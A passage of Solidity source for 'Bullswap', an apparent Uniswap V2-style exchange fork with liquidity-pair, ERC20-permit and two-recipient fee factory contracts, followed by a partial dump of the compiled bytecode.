internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // contract BullswapERC20 is IBullswapERC20 { using SafeMath for uint256; string public constant name = "BNBull LPs"; string public constant symbol = "BNBull-LP"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) public nonces; constructor() { uint256 chainId = block.chainid; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this) ) ); } function _mint(address to, uint256 value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve( address owner, address spender, uint256 value ) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer( address from, address to, uint256 value ) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint256 value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom( address from, address to, uint256 value ) external returns (bool) { if (allowance[from][msg.sender] != uint256(int256(-1))) { allowance[from][msg.sender] = allowance[from][msg.sender].sub( value ); } _transfer(from, to, value); return true; } function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "Bullswap: EXPIRED"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require( recoveredAddress != address(0) && recoveredAddress == owner, "Bullswap: INVALID_SIGNATURE" ); _approve(owner, spender, value); } } // // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // interface IBullswapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo1() external view returns (address); function feeTo2() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo1(address) external; function setFeeTo2(address) external; function setFeeToSetter(address) external; } // interface IBullswapCallee { function bullswapCall(address sender, uint amount0, uint amount1, bytes calldata data) external; } // contract BullswapPair is BullswapERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'Bullswap: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'Bullswap: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'Bullswap: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(int112(-1)) && balance1 <= uint112(int112(-1)), 'Bullswap: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo1 = IBullswapFactory(factory).feeTo1(); address feeTo2 = IBullswapFactory(factory).feeTo2(); feeOn = feeTo1 != address(0); feeOn = feeTo2 != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo1, liquidity/2); if (liquidity > 0) _mint(feeTo2, liquidity/2); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'Bullswap: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'Bullswap: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'Bullswap: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Bullswap: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'Bullswap: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IBullswapCallee(to).bullswapCall(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'Bullswap: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Bullswap: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } } // contract BullswapFactory { address public feeTo1; address public feeTo2; address public feeToSetter; mapping(address => mapping(address => address)) public getPair; address[] public allPairs; event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); constructor( address _feeToSetter, address _feeTo1, address _feeTo2 ) { feeToSetter = _feeToSetter; feeTo1 = _feeTo1; feeTo2 = _feeTo2; } function allPairsLength() external view returns (uint256) { return allPairs.length; } function createPair(address tokenA, address tokenB) external returns (address pair) { require(tokenA != tokenB, "Bullswap: IDENTICAL_ADDRESSES"); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "Bullswap: ZERO_ADDRESS"); require(getPair[token0][token1] == address(0), "Bullswap: PAIR_EXISTS"); // single check is sufficient bytes memory bytecode = type(BullswapPair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } IBullswapPair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function getInitHash() public pure returns (bytes32) { bytes memory bytecode = type(BullswapPair).creationCode; return keccak256(abi.encodePacked(bytecode)); } function setFeeTo1(address _feeTo1) external { require(msg.sender == feeToSetter, "Bullswap: FORBIDDEN"); feeTo1 = _feeTo1; } function setFeeTo2(address _feeTo2) external { require(msg.sender == feeToSetter, "Bullswap: FORBIDDEN"); feeTo2 = _feeTo2; } function setFeeToSetter(address _feeToSetter) external { require(msg.sender == feeToSetter, "Bullswap: FORBIDDEN"); feeToSetter = _feeToSetter; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063a03df79c11610071578063a03df79c14610122578063a2e74af614610135578063c9c653961461014a578063d6af41121461015d578063e6a4390514610170578063e8fa18b6146101a457600080fd5b8063094b7415146100ae578063139c8352146100de5780631e3dd18b146100f15780633c9de1b814610104578063574f2ba31461011a575b600080fd5b6002546100c1906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6001546100c1906001600160a01b031681565b6100c16100ff366004610628565b6101b7565b61010c6101e1565b6040519081526020016100d5565b60045461010c565b6000546100c1906001600160a01b031681565b61014861014336600461065d565b610237565b005b6100c161015836600461067f565b61028c565b61014861016b36600461065d565b610583565b6100c161017e36600461067f565b60036020908152600092835260408084209091529082529020546001600160a01b031681565b6101486101b236600461065d565b6105cf565b600481815481106101c757600080fd5b6000918252602090912001546001600160a01b0316905081565b600080604051806020016101f49061061b565b6020820181038252601f19601f8201166040525090508060405160200161021b91906106b2565b6040516020818303038152906040528051906020012091505090565b6002546001600160a01b0316331461026a5760405162461bcd60e51b8152600401610261906106ed565b60405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000816001600160a01b0316836001600160a01b031614156102f05760405162461bcd60e51b815260206004820152601d60248201527f42756c6c737761703a204944454e544943414c5f4144445245535345530000006044820152606401610261565b600080836001600160a01b0316856001600160a01b031610610313578385610316565b84845b90925090506001600160a01b03821661036a5760405162461bcd60e51b815260206004820152601660248201527542756c6c737761703a205a45524f5f4144445245535360501b6044820152606401610261565b6001600160a01b038281166000908152600360209081526040808320858516845290915290205416156103d75760405162461bcd60e51b815260206004820152601560248201527442756c6c737761703a20504149525f45584953545360581b6044820152606401610261565b6000604051806020016103e99061061b565b601f1982820381018352601f9091011660408190526bffffffffffffffffffffffff19606086811b8216602084015285901b166034820152909150600090604801604051602081830303815290604052805190602001209050808251602084016000f560405163485cc95560e01b81526001600160a01b03868116600483015285811660248301529196509086169063485cc95590604401600060405180830381600087803b15801561049b57600080fd5b505af11580156104af573d6000803e3d6000fd5b505050506001600160a01b0384811660008181526003602081815260408084208987168086529083528185208054978d166001600160a01b031998891681179091559383528185208686528352818520805488168517905560048054600181018255958190527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b9095018054909716841790965592548351928352908201527f0d3648bd0f6ba80134a33ba9275ac585d9d315f0ad8355cddefde31afa28d0e9910160405180910390a35050505092915050565b6002546001600160a01b031633146105ad5760405162461bcd60e51b8152600401610261906106ed565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031633146105f95760405162461bcd60e51b8152600401610261906106ed565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6124948061071b83390190565b60006020828403121561063a57600080fd5b5035919050565b80356001600160a01b038116811461065857600080fd5b919050565b60006020828403121561066f57600080fd5b61067882610641565b9392505050565b6000806040838503121561069257600080fd5b61069b83610641565b91506106a960208401610641565b90509250929050565b6000825160005b818110156106d357602081860181015185830152016106b9565b818111156106e2576000828501525b509190910192915050565b602080825260139082015272213ab63639bbb0b81d102327a92124a22222a760691b60408201526060019056fe60806040526001600c5534801561001557600080fd5b50604080518082018252600a815269424e42756c6c204c507360b01b6020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f818301527fa46b362f12673460050c62a7837b3ee8bd7e132c92e74b820a1c11507708130f818401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a0808301919091528351808303909101815260c09091019092528151910120600355600580546001600160a01b0319163317905561238c806101086000396000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a71461040b578063d505accf1461041e578063dd62ed3e14610431578063fff6cae91461045c57600080fd5b8063ba9a7a56146103dc578063bc25cf77146103e5578063c45a0155146103f857600080fd5b80637ecebe00116100d35780637ecebe001461035957806389afcb441461037957806395d89b41146103a1578063a9059cbb146103c957600080fd5b80636a6278421461031d57806370a08231146103305780637464fc3d1461035057600080fd5b806323b872dd116101665780633644e515116101405780633644e515146102ef578063485cc955146102f85780635909c0d51461030b5780635a3d54931461031457600080fd5b806323b872dd1461029b57806330adf81f146102ae578063313ce567146102d557600080fd5b8063022c0d9f146101ae57806306fdde03146101c35780630902f1ac14610202578063095ea7b3146102365780630dfe16811461025957806318160ddd14610284575b600080fd5b6101c16101bc366004611f02565b610464565b005b6101ec6040518060400160405280600a815260200169424e42756c6c204c507360b01b81525081565b6040516101f99190611fc8565b60405180910390f35b61020a61097a565b604080516001600160701b03948516815293909216602084015263ffffffff16908201526060016101f9565b610249610244366004611ffb565b6109a4565b60405190151581526020016101f9565b60065461026c906001600160a01b031681565b6040516001600160a01b0390911681526020016101f9565b61028d60005481565b6040519081526020016101f9565b6102496102a9366004612027565b6109bb565b61028d7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6102dd601281565b60405160ff90911681526020016101f9565b61028d60035481565b6101c1610306366004612068565b610a4f565b61028d60095481565b61028d600a5481565b61028d61032b3660046120a1565b610acd565b61028d61033e3660046120a1565b60016020526000908152604090205481565b61028d600b5481565b61028d6103673660046120a1565b60046020526000908152604090205481565b61038c6103873660046120a1565b610daf565b604080519283526020830191909152016101f9565b6101ec604051806040016040528060098152602001680424e42756c6c2d4c560bc1b81525081565b6102496103d7366004611ffb565b611150565b61028d6103e881565b6101c16103f33660046120a1565b61115d565b60055461026c906001600160a01b031681565b60075461026c906001600160a01b031681565b6101c161042c3660046120be565b611280565b61028d61043f366004612068565b600260209081526000928352604080842090915290825290205481565b6101c1611493565b600c5460011461048f5760405162461bcd60e51b815260040161048690612135565b60405180910390fd5b6000600c55841515806104a25750600084115b6104fa5760405162461bcd60e51b8152602060048201526024808201527f42756c6c737761703a20494e53554646494349454e545f4f55545055545f414d60448201526313d5539560e21b6064820152608401610486565b60008061050561097a565b5091509150816001600160701b03168710801561052a5750806001600160701b031686105b6105765760405162461bcd60e51b815260206004820181905260248201527f42756c6c737761703a20494e53554646494349454e545f4c49515549444954596044820152606401610486565b60065460075460009182916001600160a01b039182169190811690891682148015906105b45750806001600160a01b0316896001600160a01b031614155b6105f75760405162461bcd60e51b815260206004820152601460248201527342756c6c737761703a20494e56414c49445f544f60601b6044820152606401610486565b8a1561060857610608828a8d6115d5565b891561061957610619818a8c6115d5565b861561068657604051631e58f94160e21b81526001600160a01b038a1690637963e504906106539033908f908f908e908e9060040161215f565b600060405180830381600087803b15801561066d57600080fd5b505af1158015610681573d6000803e3d6000fd5b505050505b6040516370a0823160e01b81523060048201526001600160a01b038316906370a082319060240160206040518083038186803b1580156106c557600080fd5b505afa1580156106d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fd91906121ab565b6040516370a0823160e01b81523060048201529094506001600160a01b038216906370a082319060240160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906121ab565b92505050600089856001600160701b031661079291906121da565b831161079f5760006107bc565b6107b28a6001600160701b0387166121da565b6107bc90846121da565b905060006107d38a6001600160701b0387166121da565b83116107e05760006107fd565b6107f38a6001600160701b0387166121da565b6107fd90846121da565b9050600082118061080e5750600081115b6108665760405162461bcd60e51b815260206004820152602360248201527f42756c6c737761703a20494e53554646494349454e545f494e5055545f414d4f60448201526215539560ea1b6064820152608401610486565b6000610888610876846003611720565b610882876103e8611720565b90611787565b9050600061089a610876846003611720565b90506108bf620f42406108b96001600160701b038b8116908b16611720565b90611720565b6108c98383611720565b10156109055760405162461bcd60e51b815260206004820152600b60248201526a42756c6c737761703a204b60a81b6044820152606401610486565b5050610913848488886117dd565b60408051838152602081018390529081018c9052606081018b90526001600160a01b038a169033907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229060800160405180910390a350506001600c55505050505050505050565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b60006109b13384846119c8565b5060015b92915050565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610a3a576001600160a01b0384166000908152600260209081526040808320338452909152902054610a159083611787565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610a45848484611a2a565b5060019392505050565b6005546001600160a01b03163314610a9f5760405162461bcd60e51b8152602060048201526013602482015272213ab63639bbb0b81d102327a92124a22222a760691b6044820152606401610486565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6000600c54600114610af15760405162461bcd60e51b815260040161048690612135565b6000600c81905580610b0161097a565b506006546040516370a0823160e01b81523060048201529294509092506000916001600160a01b03909116906370a082319060240160206040518083038186803b158015610b4e57600080fd5b505afa158015610b62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8691906121ab565b6007546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b158015610bcf57600080fd5b505afa158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0791906121ab565b90506000610c1e836001600160701b038716611787565b90506000610c35836001600160701b038716611787565b90506000610c438787611ad0565b60005490915080610c7a57610c666103e8610882610c618787611720565b611cc6565b9850610c7560006103e8611d36565b610cc1565b610cbe6001600160701b038916610c918684611720565b610c9b9190612207565b6001600160701b038916610caf8685611720565b610cb99190612207565b611dc5565b98505b60008911610d215760405162461bcd60e51b815260206004820152602760248201527f42756c6c737761703a20494e53554646494349454e545f4c495155494449545960448201526617d3525395115160ca1b6064820152608401610486565b610d2b8a8a611d36565b610d3786868a8a6117dd565b8115610d6157600854610d5d906001600160701b0380821691600160701b900416611720565b600b555b604080518581526020810185905233917f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f910160405180910390a250506001600c5550949695505050505050565b600080600c54600114610dd45760405162461bcd60e51b815260040161048690612135565b6000600c81905580610de461097a565b506006546007546040516370a0823160e01b81523060048201529395509193506001600160a01b039081169291169060009083906370a082319060240160206040518083038186803b158015610e3957600080fd5b505afa158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906121ab565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038416906370a082319060240160206040518083038186803b158015610eb657600080fd5b505afa158015610eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eee91906121ab565b30600090815260016020526040812054919250610f0b8888611ad0565b60005490915080610f1c8487611720565b610f269190612207565b9a5080610f338486611720565b610f3d9190612207565b995060008b118015610f4f575060008a115b610fab5760405162461bcd60e51b815260206004820152602760248201527f42756c6c737761703a20494e53554646494349454e545f4c495155494449545960448201526617d0955493915160ca1b6064820152608401610486565b610fb53084611ddd565b610fc0878d8d6115d5565b610fcb868d8c6115d5565b6040516370a0823160e01b81523060048201526001600160a01b038816906370a082319060240160206040518083038186803b15801561100a57600080fd5b505afa15801561101e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104291906121ab565b6040516370a0823160e01b81523060048201529095506001600160a01b038716906370a082319060240160206040518083038186803b15801561108457600080fd5b505afa158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc91906121ab565b93506110ca85858b8b6117dd565b81156110f4576008546110f0906001600160701b0380821691600160701b900416611720565b600b555b604080518c8152602081018c90526001600160a01b038e169133917fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496910160405180910390a35050505050505050506001600c81905550915091565b60006109b1338484611a2a565b600c5460011461117f5760405162461bcd60e51b815260040161048690612135565b6000600c556006546007546008546040516370a0823160e01b81523060048201526001600160a01b0393841693909216916112299184918691611224916001600160701b039091169084906370a08231906024015b60206040518083038186803b1580156111ec57600080fd5b505afa158015611200573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088291906121ab565b6115d5565b6008546040516370a0823160e01b8152306004820152611276918391869161122491600160701b9091046001600160701b0316906001600160a01b038516906370a08231906024016111d4565b50506001600c5550565b428410156112c45760405162461bcd60e51b8152602060048201526011602482015270109d5b1b1cddd85c0e8811561412549151607a1b6044820152606401610486565b6003546001600160a01b038816600090815260046020526040812080549192917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b9190876113178361221b565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161139092919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa1580156113fb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906114315750886001600160a01b0316816001600160a01b0316145b61147d5760405162461bcd60e51b815260206004820152601b60248201527f42756c6c737761703a20494e56414c49445f5349474e415455524500000000006044820152606401610486565b6114888989896119c8565b505050505050505050565b600c546001146114b55760405162461bcd60e51b815260040161048690612135565b6000600c556006546040516370a0823160e01b81523060048201526115ce916001600160a01b0316906370a082319060240160206040518083038186803b1580156114ff57600080fd5b505afa158015611513573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061153791906121ab565b6007546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561157a57600080fd5b505afa15801561158e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b291906121ab565b6008546001600160701b0380821691600160701b9004166117dd565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b179052915160009283928716916116619190612236565b6000604051808303816000865af19150503d806000811461169e576040519150601f19603f3d011682016040523d82523d6000602084013e6116a3565b606091505b50915091508180156116cd5750805115806116cd5750808060200190518101906116cd9190612252565b6117195760405162461bcd60e51b815260206004820152601960248201527f42756c6c737761703a205452414e534645525f4641494c4544000000000000006044820152606401610486565b5050505050565b6000811580611744575082826117368183612274565b92506117429083612207565b145b6109b55760405162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b6044820152606401610486565b60008261179483826121da565b91508111156109b55760405162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b6044820152606401610486565b6001600160701b0384118015906117fb57506001600160701b038311155b61183c5760405162461bcd60e51b815260206004820152601260248201527142756c6c737761703a204f564552464c4f5760701b6044820152606401610486565b600061184d64010000000042612293565b60085490915060009061186d90600160e01b900463ffffffff16836122a7565b905060008163ffffffff1611801561188d57506001600160701b03841615155b80156118a157506001600160701b03831615155b15611930578063ffffffff166118c9856118ba86611e67565b6001600160e01b031690611e80565b6001600160e01b03166118dc9190612274565b600960008282546118ed91906122cc565b909155505063ffffffff8116611906846118ba87611e67565b6001600160e01b03166119199190612274565b600a600082825461192a91906122cc565b90915550505b6008805463ffffffff8416600160e01b026001600160e01b036001600160701b03898116600160701b9081026001600160e01b03199095168c83161794909417918216831794859055604080519382169282169290921783529290930490911660208201527f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1910160405180910390a1505050505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316600090815260016020526040902054611a4d9082611787565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611a7c9082611e95565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a1d9085815260200190565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663a03df79c6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2157600080fd5b505afa158015611b35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5991906122e4565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663139c83526040518163ffffffff1660e01b815260040160206040518083038186803b158015611bab57600080fd5b505afa158015611bbf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be391906122e4565b600b546001600160a01b038216158015955091925090611cb1578015611cac576000611c1e610c616001600160701b03898116908916611720565b90506000611c2b83611cc6565b905080821115611ca9576000611c4d611c448484611787565b60005490611720565b90506000611c6683611c60866005611720565b90611e95565b90506000611c748284612207565b90508015611c9057611c9088611c8b600284612207565b611d36565b8015611ca557611ca587611c8b600284612207565b5050505b50505b611cbd565b8015611cbd576000600b555b50505092915050565b60006003821115611d275750806000611ce0600283612207565b611ceb9060016122cc565b90505b81811015611d2157905080600281611d068186612207565b611d1091906122cc565b611d1a9190612207565b9050611cee565b50919